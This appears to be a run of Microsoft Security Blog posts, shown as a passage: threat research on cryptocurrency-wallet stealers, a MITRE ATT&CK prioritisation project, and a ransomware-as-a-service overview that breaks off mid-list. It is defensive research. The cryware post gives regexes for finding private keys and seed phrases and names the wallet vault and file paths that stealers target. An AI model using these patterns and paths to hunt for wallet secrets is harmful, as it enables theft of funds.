  • Password and info stealers. Apart from sign-in credentials, system information, and keystrokes, many info stealers are now adding hot wallet data to the list of information they search for and exfiltrate.
  • ClipBanker trojans. Another type of info stealer, this malware checks the user’s clipboard and steals banking information or other sensitive data a user copies. ClipBanker trojans are also now expanding their monitoring to include cryptocurrency addresses.

The increasing popularity of cryptocurrency has also led to the emergence of cryware like Mars Stealer and RedLine Stealer. These threats aim to steal cryptocurrencies through wallet data theft, clipboard manipulation, phishing and scams, or even misleading smart contracts. For example, RedLine has even been used as a component in larger threat campaigns. The graph below illustrates the increasing trend in unique cryware file encounters Microsoft Defender for Endpoint has detected in the last year alone.

Bar chart illustrating the distribution of cryware family detections from January to December 2021.
Figure 1. Microsoft Defender for Endpoint cryware encounters for 2021

Cryware could cause severe financial impact because transactions can’t be changed once they’re added to the blockchain. As mentioned earlier, there also are currently no support systems that could help recover stolen cryptocurrency funds.

For example, in 2021, a user posted about how they lost USD78,000 worth of Ethereum because they stored their wallet seed phrase in an insecure location. An attacker likely gained access to the target’s device and installed cryware that discovered the sensitive data. Once this data was compromised, the attacker would’ve been able to empty the targeted wallet.

With the growing popularity of cryptocurrency, the impact of cryware threats have become more significant. We’ve already observed campaigns that previously deployed ransomware now using cryware to steal cryptocurrency funds directly from a targeted device. While not all devices have hot wallets installed on them—especially in enterprise networks—we expect this to change as more companies transition or move part of their assets to the cryptocurrency space. Users and organizations must therefore learn how to protect their hot wallets to ensure their cryptocurrencies don’t end up in someone else’s pockets.

Hot wallet attack surfaces

To better protect their hot wallets, users must first understand the different attack surfaces that cryware and related threats commonly take advantage of.

Hot wallet data

During the creation of a new hot wallet, the user is given the following wallet data:

  • Private key. The key that’s required to access the hot wallet, sign or authorize transactions, and send cryptocurrencies to other wallet addresses.
  • Seed phrase. A mnemonic phrase is a human-readable representation of the private key. It’s another form of a private key that’s easier to remember. Bitcoin Improvement Proposal: 39 (BIP39) is currently the most common standard used to generate seed phrases consisting of 12-14 words (from a predefined list of 2,048).
  • Public key. The public address of the wallet that users must enter as the destination address when sending funds to other wallets.
  • Wallet password (optional). A standard user account password that some wallet applications offer as an additional protection layer.
Screenshots of a wallet app's UI screens where users can create a password and a secret recovery phrase.
Figure 2. Sample wallet creation in a popular wallet app

Attackers try to identify and exfiltrate sensitive wallet data from a target device because once they have located the private key or seed phrase, they could create a new transaction and send the funds from inside the target’s wallet to an address they own. This transaction is then published to the blockchain of the cryptocurrency of the funds contained in the wallet. Once this action is completed, the target won’t be able to retrieve their funds as blockchains are immutable (unchangeable) by definition.

To locate and identify sensitive wallet data, attackers could use regexes, which are strings of characters and symbols that can be written to match certain text patterns. The following table demonstrates how regexes can be used to match wallet string patterns:

Wallet target String description String example Regular expression
Private key Identify a string of characters that comprise an example private key. This key would consist of exactly 256 bits (32 characters) in an unspaced, capitalized, hexadecimal string located on one line. A6FDF18E86000542388064492B58CBF  ^[A-F0-9]{32}$
Seed phrase Identify a string of characters that comprise a seed phrase consisting of 12 words separated by a single space located on one line. this is a long string of text consisting of twelve random words  ^(\w+\s){11}\w+$
Wallet address Identify a string of characters that comprise an example public wallet address. This address would consist of exactly 24 characters in an unspaced, hexadecimal string preceded by the literal letters “LB”. LB32b787573F5186C696b8ed61 ^LB[a-fA-F0-9]{24}$
Table 1. Regular expressions to detect example wallet data

Cryware attack scenarios and examples

Once sensitive wallet data has been identified, attackers could use various techniques to obtain them or use them to their advantage. Below are some examples of the different cryware attack scenarios we’ve observed.

Clipping and switching

Diagram with icons and arrows illustrating how clipping and switching works.
Figure 3. Clipping and switching overview

In clipping and switching, a cryware monitors the contents of a user’s clipboard and uses string search patterns to look for and identify a string resembling a hot wallet address. If the target user pastes or uses CTRL + V into an application window, the cryware replaces the object in the clipboard with the attacker’s address.

Figure 4, which is a code based on an actual clipper malware we’ve seen in the wild, demonstrates the simplest form of this attack. This code uses regexes to monitor for copied wallet addresses and then swaps the value to be pasted.

Code snippet that allows a malware to replace copied data with a different value.
Figure 4. Example code to replace the clipboard using regular expressions to identify wallet’s address pattern

While this technique is not new and has been used in the past by info stealers, we’ve observed its increasing prevalence. The technique’s stealthy nature, combined with the length and complexity of wallet addresses, makes it highly possible for users to overlook that the address they pasted does not match the one they originally copied.

Memory dumping

Another technique is memory dumping, which takes advantage of the fact that some user interactions with their hot wallet could display the private keys in plaintext. This critical information might remain in the memory of a browser process performing these actions, thus compromising the wallet’s integrity. Such a scenario also allows an attacker to dump the browser process and obtain the private key.

The screenshot below illustrates such an example. When a private key was exported through a web wallet application, the private key remained available in plaintext inside the process memory while the browser remained running.

Screenshot of a browser process memory dump with a redacted hot wallet private key displayed in plaintext.
Figure 5. A hot wallet private key visible inside the browser process memory

Wallet file theft

While more sophisticated cryware threats use regular expressions, clipboard tampering, and process dumping, a simple but effective way to steal hot wallet data is to target the wallet application’s storage files. In this scenario, an attacker traverses the target user’s filesystem, determines which wallet apps are installed, and then exfiltrates a predefined list of wallet files.

Target files and information include the following:

  • Web wallet files. Some hot wallets are installed as browser extensions with a unique namespace identifier to name the extension storage folder. A web wallet’s local vault contains the encrypted private key of a user’s wallet and can be found inside this browser app storage folder. Attackers target this vault as it can be brute-forced by many popular tools, such as Hashcat.
    • Example targeted MetaMask vault folder in some web browsers: “Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn”
  • Desktop wallet files. Other hot wallets are installed on a user’s desktop device. The private keys are encrypted and stored locally in application storage files specific to each wallet. Attackers could determine which desktop wallet is installed on a target device when stealing information from it. As with the web wallet vaults, wallet storage files containing encrypted private keys provide an excellent opportunity for brute-force attacks.
    • Example targeted Exodus storage files: “Exodus\passphrase.json”, “Exodus\seed.seco”
  • Wallet passwords. Some wallet applications require passwords as an additional authentication factor when signing into a wallet. Some users store these passwords and seed phrases or private keys inside password manager applications or even as autofill data in browsers. Attackers could traverse an affected device to discover any password managers installed locally or exfiltrate any browser data that could potentially contain stored passwords.
    • Example targeted browser data: “\Cookies\”, “\Autofill\”

Mars Stealer is a notable cryware that steals data from web wallets, desktop wallets, password managers, and browser files. The snippet below was taken from a section of Mars Stealer code aimed to locate wallets installed on a system and steal their sensitive files:

Screenshot of a code snippet of Mars Stealer.
Figure 6. Mars Stealer code snippet that locates sensitive hot wallet data

Mars Stealer is available for sale on hacking forums, as seen in an example post below. The post describes the cryware’s capabilities of stealing sensitive data from multiple wallets and app storage files from an affected device. Mars Stealer then bundles the stolen data and exfiltrates it to an attacker-controlled command-and-control (C2) server via HTTP POST.

Screenshot of a forum post titled "Mars Stealer is a native, non-resident stiller (sic) with the functionality of a loader and a graber (sic)"
Figure 7. An ad for Mars Stealer for sale in an underground forum

Keylogging

Keylogging is another popular technique used by cryware. Like other information-stealing malware that use this technique, keylogging cryware typically runs in the background of an affected device and logs keystrokes entered by the user. It then sends the data it collects to an attacker controlled C2 server.

For attackers, keyloggers have the following advantages:

  • No need for brute forcing. Private keys, seed phrases, and other sensitive typed data can be stolen in plaintext.
  • Difficult to detect. Keyloggers can run undetected in the background of an affected device, as they generally leave few indicators apart from their processes.
  • Stolen data can live in memory. Attackers don’t have to write stolen user data to disk. Instead, they can store the data in process memory before uploading it to the server.

Even users who store their private keys on pieces of paper are vulnerable to keyloggers. Copying and pasting sensitive data also don’t solve this problem, as some keyloggers also include screen capturing capabilities.

Phishing sites and fake applications

To fool users into entering their private keys, attackers create malicious applications that spoof legitimate hot wallets. Unfortunately, determining which app is malicious or legitimate can be challenging because importing an existing wallet does require the input of a private key.

Since a user needs to go to a hot wallet website to download the wallet app installer, attackers could use one of the two kinds of methods to trick users into downloading malicious apps or giving up their private keys:

  • Typosquatting: Attackers purchase domains that contain commonly mistyped characters.
  • Soundsquatting: Attackers purchase domains with names that sound like legitimate websites.

The screenshot below shows a spoofed MetaMask website. While the domain contains the word “MetaMask,” it has an additional one (“suspend”) at the beginning that users might not notice. This could easily trick a user into entering their private keys to supposedly import their existing wallet, leading to the theft of their funds instead.

Screenshot of a web browser window displaying a phishing website's "Import Wallet" page.
Figure 8. Screenshot of a MetaMask phishing website

Phishing websites may even land at the top of search engine results as sponsored ads. In February 2022, we observed such ads for spoofed websites of the cryptocurrency platform StrongBlock. The topmost fake website’s domain appeared as “strongsblock” (with an additional “s”) and had been related to phishing scams attempting to steal private keys. Note that these ads no longer appear in the search results as of this writing. It’s common practice for internet search engines (such as Google and Edge) to regularly review and remove ad results that are found to be possible phishing attempts.

Screenshot of search results related to "strongblock". The three sponsored ads at the top of the page are phishing websites and are highlighted with red boxes. The result that points to the legitimate website is highlighted with a blue box.
Figure 9. Sponsored ads for phishing websites (highlighted in red boxes from a screenshot taken on February 11, 2022) being pushed on top of browser search results, which can trick users into clicking them

Some spoofed wallet websites also host fake wallet apps that trick users into installing them. Figure 10 shows an example of a fake wallet app that even mimics the icon of the legitimate one. Like phishing websites, the fake apps’ goal is to trick users into providing sensitive wallet data.

Screenshots of a smartphone's home screen with icons and the loading page of the fake wallet app.
Figure 10. Fake wallet application installed on an Android device. While its icon has the same color of the brand mascot as the legitimate app (left), its loading page displays a different mascot color instead (right).

Apart from credential-based phishing tactics in websites and apps, Microsoft security researchers also noted a technique called “ice phishing,” which doesn’t involve stealing keys. Rather, it attempts to trick users into signing a transaction that delegates approval of the target user’s tokens to an attacker. More information about ice phishing can be found in this blog.

Scams and other social engineering tactics

Cryptocurrency-related scams typically attempt to lure victims into sending funds of their own volition. One such scam we’ve seen uses prominent social media personalities who seemingly endorse a particular platform. The scammers promise to “donate” funds to participants who send coins to a listed wallet address. Unfortunately, these promises are never fulfilled.

Screen capture of an online video promoting a website and QR codes (redacted) that point to Bitcoin and Ethereum wallets.
Figure 11. Prominent social media personalities inserted in scam-related promotional videos

Social media content creators are also becoming the targets of scam emails. The email messages attempt to trick targets into downloading and executing cryware on their devices by purporting promotional offers and partnership contracts.

Screenshot of an email message about "Promotional offer and partnerships".
Figure 12. Legitimate looking scam email prompting the user to download and execute a malicious file

In such cases, the downloaded or attached cryware masquerades as a document or a video file using a double extension (for example, .txt.exe) and a spoofed icon. Thus, target users who might be distracted by the message content might also forget to check if the downloaded file is malicious or not.

Partial screenshot of Windows Explorer showing a document file "contract.doc". The Command Prompt screenshot beside the first one shows the file actually has a hidden .scr extension.
Figure 13. Executable screensaver (.scr) file masquerading as a Word document (.doc) file

Defending against cryware

Cryptocurrency crime has been reported to have reached an all-time high in 2021, with over USD10 billion worth of cryptocurrencies stored in wallets associated with ransomware and cryptocurrency theft. This shows that just as large cryptocurrency-related entities get attacked, individual consumers and investors are not spared.  

Cryptocurrency trading can be an exciting and beneficial practice, but given the various attack surfaces cryware threats leverage, users and organizations must note the multiple ways they can protect themselves and their wallets. They should have a security solution that provides multiple layers of dynamic protection technologies—including machine learning-based protection.

Microsoft Defender Antivirus offers such protection. Its endpoint protection capabilities detect and block many cryware, cryptojackers, and other cryptocurrency-related threats. Meanwhile, Microsoft Defender SmartScreen in Microsoft Edge and other web browsers that support it blocks phishing sites and prevents downloading of fake apps and other malware. Signals from these solutions, along with threat data from other domains, feed into Microsoft 365 Defender, which provides organizations with comprehensive and coordinated threat defense and is backed by a global network of security experts who monitor the continuously evolving threat landscape for new and emerging attacker tools and techniques.

Users and organizations can also take the following steps to defend against cryware and other hot wallet attacks:

  • Lock hot wallets when not actively trading. This feature in most wallet applications can prevent attackers from creating transactions without the user’s knowledge.
  • Disconnect sites connected to the wallet. When a user isn’t actively doing a transaction on a decentralized finance (DeFi) platform, a hot wallet’s disconnect feature ensures that the website or app won’t interact with the user’s wallet without their knowledge.
Screenshot of a wallet app's UI with "Connected sites" option highlighted.
Figure 14. Some wallet apps allow users to disconnect from sites that they interacted with
  • Refrain from storing private keys in plaintext. Never store seed phrases on the device or cloud storage services. Instead, write them down on paper (or something equivalent) and properly secure them.
  • Be attentive when copying and pasting information. When copying a wallet address for a transaction, double-check if the value of the address is indeed the one indicated on the wallet.
  • Ensure that browser sessions are terminated after every transaction. To minimize the risk of cryware process dumpers, properly close or restart the browser’s processesafterimporting keys. This ensures that the private key doesn’t remain in the browser process’s memory.
  • Consider using wallets that implement multifactor authentication (MFA). This prevents attackers from logging into wallet applications without another layer of authentication.
  • Be wary of links to wallet websites and applications. Phishing websites often make substantial efforts to appear legitimate, so users must be careful when clicking links in emails and messaging apps. Consider manually typing or searching for the website instead and ensure that their domains are typed correctly to avoid phishing sites that leverage typosquatting and soundsquatting.
  • Double-check hot wallet transactions and approvals. Ensure that the contract that needs approval is indeed the one initiated.
  • Never share private keys or seed phrases. Under no circumstances will a third party or even the wallet app developers need these types of sensitive information.
  • Use a hardware wallet unless it needs to be actively connected to a device. Hardware wallets store private keys offline.
  • Reveal file extensions of downloaded and saved files. On Windows,turn on File Name Extensions under View on file explorer to see the actual extensions of the files on a device.

Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender.

Berman Enconado and Laurie Kirk
Microsoft 365 Defender Research Team

Appendix

Microsoft 365 Defender detections

Microsoft Defender Antivirus

The post In hot pursuit of ‘cryware’: Defending hot wallets from attacks appeared first on Microsoft Security Blog.

Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders

The MITRE Center for Threat-Informed Defense, Microsoft, and other industry partners collaborated on a project that created a repeatable methodology for developing a top MITRE ATT&CK® techniques list. The method aims to facilitate navigation of the ATT&CK framework, which could help new defenders focus on critical techniques relevant to their organization’s environment, and aid experienced defenders in prioritizing ATT&CK techniques according to their organization’s needs.

The ATT&CK framework provides an extensive list of specific techniques that may be challenging to navigate in certain situations. This project aims to help defenders who use the framework focus on noteworthy techniques regardless of the attack scenario or environment. For example, using research on 22 ransomware attacks, the repeatable methodology led to the identification of the top 10 ransomware techniques list.

The project also included the development of a customizable, web-based calculator that seeks to prioritize techniques based on a defender’s input, making the methodology even easier to apply to different environments and scenarios. As an example of the insights that can be gained from using this calculator, the project found that the following techniques are present in most attacks and environments:

This methodology considers the continuing evolution of threats, so it supports the creation of criteria that are tailored to an organization’s unique environment. This enables defenders to continuously identify threat trends and decide where to focus resources for detection coverage.

Establishing the top ATT&CK techniques

The methodology for identifying the top ATT&CK techniques factored in three attributes to determine the significance of a technique: prevalence, choke point, and actionability.

Prevalence is the frequency of specific ATT&CK techniques used by attackers over time. A higher frequency of a technique indicates a higher likelihood of it being used in multiple attack scenarios. Therefore, there’s a higher chance of encountering an attack with a high prevalence ranking. Prevalence was determined using the Center’s Sightings Ecosystem project from April 2019 to July 2021, which registered 1.1 million encounters of attacks across the 184 unique ATT&CK techniques. Including prevalence as a criterion aims to cover more attacks with fewer techniques.

A histogram that presents the number of attacks observed from January 2019 to April 2021, to show prevalence. This chart is originally from the MITRE Sightings Ecosystem project.
Figure 1. Attacks over time (MITRE Sightings Ecosystem Project)

Choke points are techniques that disrupt an attacker due to them being a point of convergence or divergence. In real-world incidents, choke points manifest as one-to-many or many-to-one behaviors or steps in the attack. The inclusion of this criterion aims to identify the critical techniques that can help link activity throughout attack chains.

A diagram illustrating a possible choke point based on many-to-one and one-to-many behaviors in an attack. It illustrates several techniques under many-to-one behaviors that converges to one technique that is the possible choke point, which in turn diverges into one-to-many behaviors.
Figure 2. MITRE ATT&CK Technique Process Injection (T1055) is an example of a possible choke point

Actionability is the opportunity for a defender to detect or mitigate a technique. This is based on publicly available security controls (such as CIS Critical Security Controls and NIST 800-53 Security Controls) and analytics (Splunk detections, Elastic, and Sigma).

 Figure 3. Detection to mitigation mapping (MITRE Top ATT&CK Techniques Methodologies)

Top 10 techniques in ransomware attacks

Following the creation of the methodology, the top 10 ransomware techniques list was generated to test this new approach in practice. To create this list, Microsoft and the other partners involved in this collaborative effort analyzed prevalent ransomware attacks from the past three years. A total of 22 specific ransomware attacks were studied specifically for their use of ATT&CK techniques. Based on this research, the top 10 techniques in ransomware attacks are:

Organization-specific top techniques list via web calculator

This collaborative project also included the creation of a dynamic, user-friendly calculator for a more customizable, tailored top techniques list. This customizability allows organizations to have unique prioritization based on each organization’s size and maturity.

The calculator takes into consideration various inputs, including:

  • NIST 800-53 Controls (all NIST controls or specific ones such as AC-2, CA-2, etc.)
  • CIS Security Controls (all CIS Controls or specific ones such as 1.1, 2.5, etc.)
  • Detection analytics (MITRE Cyber Analytics Repository, Elastic, Sigma, Splunk)
  • Operating systems used in the environment
  • Monitoring capabilities for network, process, file, and cloud services in the network

With this calculator, an organization can create a tailored technique list based on various aspects like the maturity of their security operations and the tools that they use. This can serve as a great starting point for companies looking to evaluate and improve their detection and protection capabilities regarding ransomware activities and prioritize the TTPs that are the most actionable for them.

Practical applications and future work

The methodology and insights from the top techniques list has many practical applications, including helping prioritize activities during triage. As it’s applied to more real-world scenarios, we can identify areas of focus and continue to improve our coverage on these TTPs and behaviors of prevalent threat actors. Refining the criteria can further increase results accuracy and make this project more customer-focused and more relevant for their immediate action. Improvements in the following areas can be of particular benefit:

  • Fine-tuning the choke point analysis by adding machine learning models to visualize and predict all viable paths an attacker could take, which can be used to create a corresponding attack graph. This attack graph could be tied in with the user-implemented filters to identify relevant paths based on an organization’s current functionality. Future integration with the Attack Flow project might be a step towards this enhanced choke point analysis.
  • Developing a metric to identify subjective filters like “Damage Impact” and “Significance” as they are important when making decisions on covering different attacks.
  • Performing a comparison of results between this current analysis and global data sets to validate the accuracy of the current findings.
  • Enhancing prevalence data to ensure a broad and timely data set is driving the analysis. Community contributions to the Sightings Ecosystem project is critical.

Insights from industry-wide collaborations like this project help enrich the protection that Microsoft provides for customers through solutions like Microsoft 365 Defender and Microsoft Sentinel. These solutions are further informed by trillions of signals that Microsoft processes every day, as well as our expert monitoring of the threat landscape. For example, our comprehensive view and research into the ransomware ecosystem enables us to deliver cross-domain defense against human-operated ransomware, leveraging a Zero Trust approach to limit the attack surface and minimize the chances of ransomware attacks succeeding. 

In the recent MITRE Engenuity ATT&CK® 2022 Evaluations, Microsoft demonstrated complete visibility and analytics on all stages of the attack chain, with 100% protection coverage, blocking all stages in early steps (pre-ransomware phase), including techniques within the top 10 ransomware techniques list that were tested.

This collaboration and innovation benefits everyone in the security community, not only those who use the MITRE ATT&CK framework as part of their products and services, but also our valued ecosystem of partners who build services on top of our platform to meet the unique needs of every organization, to advance threat-informed defense in the public interest. Microsoft is a research sponsor at the Center for Threat-Informed Defense, partnering to advance the state of the art in threat-informed defense in the public interest. One of our core principles at Microsoft is security for all, and we will continue to partner with MITRE and the broader community to collaborate on projects like this and share insights and intelligence.

Gierael Ortega, Alin Nagraj, Devin Parikh
Microsoft 365 Defender Research Team

The post Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders appeared first on Microsoft Security Blog.

Ransomware-as-a-service: Understanding the cybercrime gig economy and how to protect yourself

Microsoft processes 24 trillion signals every 24 hours, and we have blocked billions of attacks in the last year alone. Microsoft Security tracks more than 35 unique ransomware families and 250 unique threat actors across observed nation-state, ransomware, and criminal activities.

That depth of signal intelligence gathered from various domains—identity, email, data, and cloud—provides us with insight into the gig economy that attackers have created with tools designed to lower the barrier for entry for other attackers, who in turn continue to pay dividends and fund operations through the sale and associated “cut” from their tool’s success.

The cybercriminal economy is a continuously evolving connected ecosystem of many players with different techniques, goals, and skillsets. In the same way our traditional economy has shifted toward gig workers for efficiency, criminals are learning that there’s less work and less risk involved by renting or selling their tools for a portion of the profits than performing the attacks themselves. This industrialization of the cybercrime economy has made it easier for attackers to use ready-made penetration testing and other tools to perform their attacks.

Within this category of threats, Microsoft has been tracking the trend in the ransomware-as-a-service (RaaS) gig economy, called human-operated ransomware, which remains one of the most impactful threats to organizations. We coined the industry term “human-operated ransomware” to clarify that these threats are driven by humans who make decisions at every stage of their attacks based on what they find in their target’s network.

Unlike the broad targeting and opportunistic approach of earlier ransomware infections, attackers behind these human-operated campaigns vary their attack patterns depending on their discoveries—for example, a security product that isn‘t configured to prevent tampering or a service that’s running as a highly privileged account like a domain admin. Attackers can use those weaknesses to elevate their privileges to steal even more valuable data, leading to a bigger payout for them—with no guarantee they’ll leave their target environment once they’ve been paid. Attackers are also often more determined to stay on a network once they gain access and sometimes repeatedly monetize that access with additional attacks using different malware or ransomware payloads if they aren’t successfully evicted.

Ransomware attacks have become even more impactful in recent years as more ransomware-as-a-service ecosystems have adopted the double extortion monetization strategy. All ransomware is a form of extortion, but now, attackers are not only encrypting data on compromised devices but also exfiltrating it and then posting or threatening to post it publicly to pressure the targets into paying the ransom. Most ransomware attackers opportunistically deploy ransomware to whatever network they get access to, and some even purchase access to networks from other cybercriminals. Some attackers prioritize organizations with higher revenues, while others prefer specific industries for the shock value or type of data they can exfiltrate.

All human-operated ransomware campaigns—all human-operated attacks in general, for that matter—share common dependencies on security weaknesses that allow them to succeed. Attackers most commonly take advantage of an organization’s poor credential hygiene and legacy configurations or misconfigurations to find easy entry and privilege escalation points in an environment. 

In this blog, we detail several of the ransomware ecosystems  using the RaaS model, the importance of cross-domain visibility in finding and evicting these actors, and best practices organizations can use to protect themselves from this increasingly popular style of attack. We also offer security best practices on credential hygiene and cloud hardening, how to address security blind spots, harden internet-facing assets to understand your perimeter, and more. Here’s a quick table of contents:

  1. How RaaS redefines our understanding of ransomware incidents
    • The RaaS affiliate model explained
    • Access for sale and mercurial targeting
  2. “Human-operated” means human decisions
    • Exfiltration and double extortion
    • Persistent and sneaky access methods
  3. Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks
  4. Defending against ransomware: Moving beyond protection by detection

How RaaS redefines our understanding of ransomware incidents

With ransomware being the preferred method for many cybercriminals to monetize attacks, human-operated ransomware remains one of the most impactful threats to organizations today, and it only continues to evolve. This evolution is driven by the “human-operated” aspect of these attacks—attackers make informed and calculated decisions, resulting in varied attack patterns tailored specifically to their targets and iterated upon until the attackers are successful or evicted.

In the past, we’ve observed a tight relationship between the initial entry vector, tools, and ransomware payload choices in each campaign of one strain of ransomware. The RaaS affiliate model, which has allowed more criminals, regardless of technical expertise, to deploy ransomware built or managed by someone else, is weakening this link. As ransomware deployment becomes a gig economy, it has become more difficult to link the tradecraft used in a specific attack to the ransomware payload developers.

Reporting a ransomware incident by assigning it with the payload name gives the impression that a monolithic entity is behind all attacks using the same ransomware payload and that all incidents that use the ransomware share common techniques and infrastructure. However, focusing solely on the ransomware stage obscures many stages of the attack that come before, including actions like data exfiltration and additional persistence mechanisms, as well as the numerous detection and protection opportunities for network defenders.

We know, for example, that the underlying techniques used in human-operated ransomware campaigns haven’t changed very much over the years—attacks still prey on the same security misconfigurations to succeed. Securing a large corporate network takes disciplined and sustained focus, but there’s a high ROI in implementing critical controls that prevent these attacks from having a wider impact, even if it’s only possible on the most critical assets and segments of the network. 

Without the ability to steal access to highly privileged accounts, attackers can’t move laterally, spread ransomware widely, access data to exfiltrate, or use tools like Group Policy to impact security settings. Disrupting common attack patterns by applying security controls also reduces alert fatigue in security SOCs by stopping the attackers before they get in. This can also prevent unexpected consequences of short-lived breaches, such as exfiltration of network topologies and configuration data that happens in the first few minutes of execution of some trojans.

In the following sections, we explain the RaaS affiliate model and disambiguate between the attacker tools and the various threat actors at play during a security incident. Gaining this clarity helps surface trends and common attack patterns that inform defensive strategies focused on preventing attacks rather than detecting ransomware payloads. Threat intelligence and insights from this research also enrich our solutions like Microsoft 365 Defender, whose comprehensive security capabilities help protect customers by detecting RaaS-related attack attempts.

The RaaS affiliate model explained

The cybercriminal economy—a connected ecosystem of many players with different techniques, goals, and skillsets—is evolving. The industrialization of attacks has progressed from attackers using off-the-shelf tools, such as Cobalt Strike, to attackers being able to purchase access to networks and the payloads they deploy to them. This means that the impact of a successful ransomware and extortion attack remains the same regardless of the attacker’s skills.

RaaS is an arrangement between an operator and an affiliate. The RaaS operator develops and maintains the tools to power the ransomware operations, including the builders that produce the ransomware payloads and payment portals for communicating with victims. The RaaS program may also include a leak site to share snippets of data exfiltrated from victims, allowing attackers to show that the exfiltration is real and try to extort payment. Many RaaS programs further incorporate a suite of extortion support offerings, including leak site hosting and integration into ransom notes, as well as decryption negotiation, payment pressure, and cryptocurrency transaction services

RaaS thus gives a unified appearance of the payload or campaign being a single ransomware family or set of attackers. However, what happens is that the RaaS operator sells access to the ransom payload and decryptor to an affiliate, who performs the intrusion and privilege escalation and who is responsible for the deployment of the actual ransomware payload. The parties then split the profit. In addition, RaaS developers and operators might also use the payload for profit, sell it, and run their campaigns with other ransomware payloads—further muddying the waters when it comes to tracking the criminals behind these actions.

Diagram showing the relationship between players in the ransomware-as-a-service affiliate model. Access brokers compromise networks and persist on systems. The RaaS operator develops and maintain tools. The RaaS affiliate performs the attack.
Figure 1. How the RaaS affiliate model enables ransomware attacks

Access for sale and mercurial targeting

A component of the cybercriminal economy is selling access to systems to other attackers for various purposes, including ransomware. Access brokers can, for instance, infect systems with malware or a botnet and then sell them as a “load”. A load is designed to install other malware or backdoors onto the infected systems for other criminals. Other access brokers scan the internet for vulnerable systems, like exposed Remote Desktop Protocol (RDP) systems with weak passwords or unpatched systems, and then compromise them en masse to “bank” for later profit. Some advertisements for the sale of initial access specifically cite that a system isn’t managed by an antivirus or endpoint detection and response (EDR) product and has a highly privileged credential such as Domain Administrator associated with it to fetch higher prices.

Most ransomware attackers opportunistically deploy ransomware to whatever network they get access to. Some attackers prioritize organizations with higher revenues, while some target specific industries for the shock value or type of data they can exfiltrate (for example, attackers targeting hospitals or exfiltrating data from technology companies). In many cases, the targeting doesn’t manifest itself as specifically attacking the target’s network, instead, the purchase of access from an access broker or the use of existing malware infection to pivot to ransomware activities.

In some ransomware attacks, the affiliates who bought a load or access may not even know or care how the system was compromised in the first place and are just using it as a “jump server” to perform other actions in a network. Access brokers often list the network details for the access they are selling, but affiliates aren’t usually interested in the network itself but rather the monetization potential. As a result, some attacks that seem targeted to a specific industry might simply be a case of affiliates purchasing access based on the number of systems they could deploy ransomware to and the perceived potential for profit.

“Human-operated” means human decisions

Microsoft coined the term “human-operated ransomware” to clearly define a class of attacks driven by expert human intelligence at every step of the attack chain and culminate in intentional business disruption and extortion. Human-operated ransomware attacks share commonalities in the security misconfigurations of which they take advantage and the manual techniques used for lateral movement and persistence. However, the human-operated nature of these actions means that variations in attacks—including objectives and pre-ransom activity—evolve depending on the environment and the unique opportunities identified by the attackers.

These attacks involve many reconnaissance activities that enable human operators to profile the organization and know what next steps to take based on specific knowledge of the target. Many of the initial access campaigns that provide access to RaaS affiliates perform automated reconnaissance and exfiltration of information collected in the first few minutes of an attack.

After the attack shifts to a hands-on-keyboard phase, the reconnaissance and activities based on this knowledge can vary, depending on the tools that come with the RaaS and the operator’s skill. Frequently attackers query for the currently running security tools, privileged users, and security settings such as those defined in Group Policy before continuing their attack. The data discovered via this reconnaissance phase informs the attacker’s next steps.

If there’s minimal security hardening to complicate the attack and a highly privileged account can be gained immediately, attackers move directly to deploying ransomware by editing a Group Policy. The attackers take note of security products in the environment and attempt to tamper with and disable these, sometimes using scripts or tools provided with RaaS purchase that try to disable multiple security products at once, other times using specific commands or techniques performed by the attacker.  

This human decision-making early in the reconnaissance and intrusion stages means that even if a target’s security solutions detect specific techniques of an attack, the attackers may not get fully evicted from the network and can use other collected knowledge to attempt to continue the attack in ways that bypass security controls. In many instances, attackers test their attacks “in production” from an undetected location in their target’s environment, deploying tools or payloads like commodity malware. If these tools or payloads are detected and blocked by an antivirus product, the attackers simply grab a different tool, modify their payload, or tamper with the security products they encounter. Such detections could give SOCs a false sense of security that their existing solutions are working. However, these could merely serve as a smokescreen to allow the attackers to further tailor an attack chain that has a higher probability of success. Thus, when the attack reaches the active attack stage of deleting backups or shadow copies, the attack would be minutes away from ransomware deployment. The adversary would likely have already performed harmful actions like the exfiltration of data. This knowledge is key for SOCs responding to ransomware: prioritizing investigation of alerts or detections of tools like Cobalt Strike and performing swift remediation actions and incident response (IR) procedures are critical for containing a human adversary before the ransomware deployment stage.

Exfiltration and double extortion

Ransomware attackers often profit simply by disabling access to critical systems and causing system downtime. Although that simple technique often motivates victims to pay, it is not the only way attackers can monetize their access to compromised networks. Exfiltration of data and “double extortion,” which refers to attackers threatening to leak data if a ransom hasn’t been paid, has also become a common tactic among many RaaS affiliate programs—many of them offering a unified leak site for their affiliates. Attackers take advantage of common weaknesses to exfiltrate data and demand ransom without deploying a payload.

This trend means that focusing on protecting against ransomware payloads via security products or encryption, or considering backups as the main defense against ransomware, instead of comprehensive hardening, leaves a network vulnerable to all the stages of a human-operated ransomware attack that occur before ransomware deployment. This exfiltration can take the form of using tools like Rclone to sync to an external site, setting up email transport rules, or uploading files to cloud services. With double extortion, attackers don’t need to deploy ransomware and cause downtime to extort money. Some attackers have moved beyond the need to deploy ransomware payloads and are shifting straight to extortion models or performing the destructive objectives of their attacks by directly deleting cloud resources. One such extortion attackers is DEV-0537 (also known as LAPSUS$), which is profiled below.  

Persistent and sneaky access methods

Paying the ransom may not reduce the risk to an affected network and potentially only serves to fund cybercriminals. Giving in to the attackers’ demands doesn’t guarantee that attackers ever “pack their bags” and leave a network. Attackers are more determined to stay on a network once they gain access and sometimes repeatedly monetize attacks using different malware or ransomware payloads if they aren’t successfully evicted.

The handoff between different attackers as transitions in the cybercriminal economy occur means that multiple attackers may retain persistence in a compromised environment using an entirely different set of tools from those used in a ransomware attack. For example, initial access gained by a banking trojan leads to a Cobalt Strike deployment, but the RaaS affiliate that purchased the access may choose to use a less detectable remote access tool such as TeamViewer to maintain persistence on the network to operate their broader series of campaigns. Using legitimate tools and settings to persist versus malware implants such as Cobalt Strike is a popular technique among ransomware attackers to avoid detection and remain resident in a network for longer.

Some of the common enterprise tools and techniques for persistence that Microsoft has observed being used include:

  • AnyDesk
  • Atera Remote Management
  • ngrok.io
  • Remote Manipulator System
  • Splashtop
  • TeamViewer

